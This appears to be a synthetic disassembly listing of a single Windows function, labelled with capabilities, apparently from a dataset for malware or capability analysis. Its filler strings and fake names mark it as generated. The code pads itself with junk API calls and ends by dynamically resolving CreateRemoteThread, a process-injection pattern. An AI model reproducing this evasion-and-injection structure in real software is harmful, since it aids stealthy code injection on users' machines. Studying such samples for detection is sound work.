Function at 0x6bad210c
Capabilities:
Access the windows event log
Set current directory
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x108]
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x74], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x78], rax
mov rax, qword [0x6bb884c0]
mov qword [rsp + 0x58], r8
cmp dword [rax], 0x2c9b
mov qword [rsp + 0x60], r9
jle 0x6bad28a6
mov rax, qword [0x6bb885d0]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb883a0]
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call rbp
mov rax, qword [0x6bb87bc0]
xor edx, edx
xor ecx, ecx
mov r10, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rdi, qword [0x6bb87d10]
mov eax, dword [rax]
mov qword [rsp + 0x80], r10
mov dword [rdi], eax
call r10
mov rax, qword [0x6bb87c10]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdi, qword [0x6bb87d10]
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov dword [rdi], eax
mov rax, qword [0x6bb88060]
mov dword [rax], 0x58f32982
call r12
mov rax, qword [sym.imp.ADVAPI32.dll_OpenEventLogA]
lea rdx, str.Atque_ut_rerum_vel
lea rcx, str.EllenBlick
mov qword [rsp + 0x30], rax
call rax
mov r14, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.DashawnHuel
call r14
mov rax, qword [0x6bb88670]
xor r9d, r9d
lea r8, str.Laborum_ea_voluptatum_ut_voluptatem_quod_officiis_rerum_facilis
lea rcx, str.Sint_voluptatum_incidunt_labore_consectetur_eligendi_cumque_cupiditate
mov edx, dword [rax]
mov rax, qword [0x6bb87d80]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_ReplaceFileA]
lea rdx, str.Ut_ut_voluptas_cupiditate_qui_eum_assumenda_assumenda_vel_et_at
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x38], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov r10, qword [rsp + 0x80]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
mov rax, qword [0x6bb87cb0]
mov rbx, qword [sym.imp.KERNEL32.dll_SetConsoleMode]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb87e40]
mov dword [rax], edx
xor edx, edx
call rbx
mov r15, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x6bb88070]
mov ecx, 0x667a79cf
mov edx, dword [rax]
mov rax, qword [0x6bb87cc0]
mov dword [rax], edx
call fcn.6bad9930
mov r13, qword [0x6bb87ff0]
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
call rbx
mov rbx, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call rbx
mov rax, qword [0x6bb87f40]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb884f0]
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
lea rcx, str.AlisonFramiMD
call r14
mov rax, qword [0x6bb88720]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb88050]
mov dword [rdx], eax
mov rax, qword [0x6bb88010]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb88370]
xor r9d, r9d
lea r8, str.KatelinRosenbaum
lea rcx, str.Officia_pariatur_cupiditate_corrupti_id_et_aliquid_laboriosam_nobis
mov dword [rdx], eax
mov rax, qword [0x6bb87e30]
mov edx, dword [rax]
mov rax, qword [0x6bb88240]
mov dword [rax], edx
lea rdx, str.DrJohanOrnII
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rax
mov rax, qword [0x6bb88460]
xor ecx, ecx
mov dword [rax], 0x5462da25
mov rax, qword [0x6bb87c50]
mov edx, dword [rax]
mov rax, qword [0x6bb87db0]
mov dword [rax], edx
call rsi
mov rax, qword [0x6bb87e90]
mov dword [rax], 0x5f5cac7e
mov rax, qword [0x6bb87c80]
mov ecx, dword [rax]
call fcn.6bad9930
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [r13], eax
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov qword [rsp + 0x20], 0
call r13
lea rdx, str.Sequi_quibusdam_fuga_ad_quisquam_voluptas_consequatur_et
lea rcx, str.MelynaBogisich
mov rax, qword [rsp + 0x30]
call rax
xor r9d, r9d
lea r8, str.Iste_libero_error_numquam_ab_sit
lea rdx, str.LindaWehner
lea rcx, str.Nihil_et_sint_vel_perferendis_autem_quasi_sapiente_autem_iste_et_non_nobis
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
call r12
mov r13, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.AllieJacobs
lea rcx, str.ElenoraWindler
call r13
lea rdx, str.Quidem_et_aspernatur_et_laborum
lea rcx, str.Voluptas_excepturi_omnis_vitae_et_placeat_autem_consequatur_quidem
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x6bb882a0]
mov rcx, qword [0x6bb87d30]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor ecx, ecx
call rbp
xor ecx, ecx
call rbx
mov rax, qword [0x6bb87e90]
xor ecx, ecx
mov dword [rax], 0x7e281f95
call rsi
xor edx, edx
lea rcx, str.CasperProsaccoDVM
call r14
mov rax, qword [0x6bb882d0]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb883c0]
lea rcx, str.Enim_sit_sint_excepturi_eum_eum_quis_ab_fugit_aspernatur_dolorem_perspiciatis_ratione
mov dword [rdx], eax
lea rdx, str.Est_id_quam_doloribus_aperiam_minus_modi_et
call r13
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x6bb88290]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb87c60]
mov dword [rax], edx
call rsi
xor ecx, ecx
call rsi
mov rax, qword [0x6bb87e50]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb88380]
mov dword [rax], edx
call rbx
mov r11, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov qword [rsp + 0x80], r11
call r11
mov r15, qword [0x6bb87be0]
mov rax, qword [0x6bb88650]
mov rcx, qword [0x6bb883b0]
mov edx, dword [r15]
mov dword [rax], edx
mov rax, qword [0x6bb87c20]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x6bb87e00]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb883e0]
xor ecx, ecx
mov dword [r15], 0x7c79ce03
mov dword [rdx], eax
call rsi
mov rax, qword [0x6bb87bd0]
mov rdx, qword [0x6bb88660]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call r12
mov r15, qword [0x6bb87ba0]
xor r8d, r8d
xor ecx, ecx
mov rax, qword [0x6bb882c0]
mov edx, dword [r15]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
xor edx, edx
lea rcx, str.AddisonHarrisPhD
call r14
mov rax, qword [0x6bb88500]
xor ecx, ecx
mov dword [rax], 0x7f106d3f
mov rax, qword [0x6bb87f20]
mov dword [rax], 0x37d9e5ec
call rsi
mov rax, qword [0x6bb87c80]
mov edx, dword [rax]
mov rax, qword [0x6bb886e0]
mov dword [rax], edx
mov rax, qword [0x6bb88420]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb87bb0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb87f80]
mov edx, dword [rax]
mov rax, qword [0x6bb886d0]
mov dword [rax], edx
mov rax, qword [0x6bb87f40]
mov eax, dword [rax]
mov dword [r15], eax
call rbp
mov rax, qword [0x6bb88070]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x42a39db5
call rdi
mov rax, qword [0x6bb88080]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb87d60]
lea rcx, str.DavonHickle
mov dword [rdx], eax
mov rax, qword [0x6bb88420]
mov edx, dword [rax]
mov rax, qword [0x6bb87f10]
mov dword [rax], edx
mov rax, qword [0x6bb88720]
lea rdx, str.Accusamus_sequi_nihil_et_fuga_vel_molestiae_sint_rem_eos_et_libero_est
mov dword [rax], 0x1f81be7c
mov rax, qword [0x6bb87d10]
mov dword [rax], 0xd609248c
call r13
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x6bb88300]
mov ecx, dword [rax]
call fcn.6bad9930
mov rcx, qword [0x6bb88070]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x6bb880f0]
xor ecx, ecx
mov dword [rax], 0x7e01692f
call rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call rsi
mov ecx, 0xb3800144
call fcn.6bad9930
mov rdi, qword [0x6bb882d0]
xor ecx, ecx
mov dword [rdi], eax
call rbx
xor ecx, ecx
call rbp
mov rax, qword [0x6bb883b0]
mov r10, qword [rsp + 0x88]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb880a0]
mov dword [rax], edx
mov rax, qword [0x6bb88090]
xor edx, edx
mov dword [rax], 0x2eb52ca9
mov rax, qword [0x6bb88070]
mov dword [rax], 0xc8426b3f
call r10
mov rax, qword [0x6bb88130]
mov rsi, qword [0x6bb884b0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
call rbx
mov rax, qword [0x6bb880c0]
mov dword [rax], 0x9b80d961
mov rax, qword [0x6bb88490]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdi, qword [0x6bb88660]
xor r9d, r9d
lea r8, str.Labore_officiis_maiores_asperiores_laborum
lea rdx, str.ProfRigobertoCristPhD
lea rcx, str.KaitlynAbbott
mov dword [rdi], eax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x6bb87cf0]
mov ecx, 0xfa7d3944
mov dword [rax], 0xc6d481bb
call fcn.6bad9930
mov rdx, qword [0x6bb88260]
mov r11, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rdx], eax
call r11
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov ecx, 0xedd2bb72
call fcn.6bad9930
mov rdx, qword [0x6bb886a0]
lea rcx, str.ToyKeelingIII
mov dword [rdx], eax
xor edx, edx
call r14
mov rax, qword [0x6bb87de0]
mov rdi, qword [0x6bb882d0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x6bb87d10]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdi, qword [0x6bb87d30]
lea rcx, str.Dolores_omnis_dolor_cum_deleniti_sunt
mov dword [rdi], eax
mov rax, qword [0x6bb87d70]
mov rdi, qword [0x6bb87d10]
mov eax, dword [rax]
mov dword [rdi], eax
mov eax, dword [rsi]
mov rsi, qword [0x6bb88290]
mov dword [rsi], eax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, str.GayMoen
lea rcx, str.CordeliaAbernathy
call r13
lea rdx, str.JennyferHyattDDS
lea rcx, str.Omnis_laboriosam_deleniti_illo_inventore_ex_molestias
mov rax, qword [rsp + 0x30]
call rax
xor ecx, ecx
call rbx
mov ecx, 0xa1a54c6e
call fcn.6bad9930
mov rbx, qword [0x6bb883b0]
mov dword [rbx], eax
lea rdx, str.CreateRemoteThread
lea rcx, str.kernel32.dll
call fcn.6bad103b
mov rbx, qword [rsp + 0x78]
mov esi, dword [rsp + 0x74]
mov r9, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x110], rbx
mov rdx, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
mov dword [rsp + 0x108], esi
mov qword [rsp + 0x100], rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax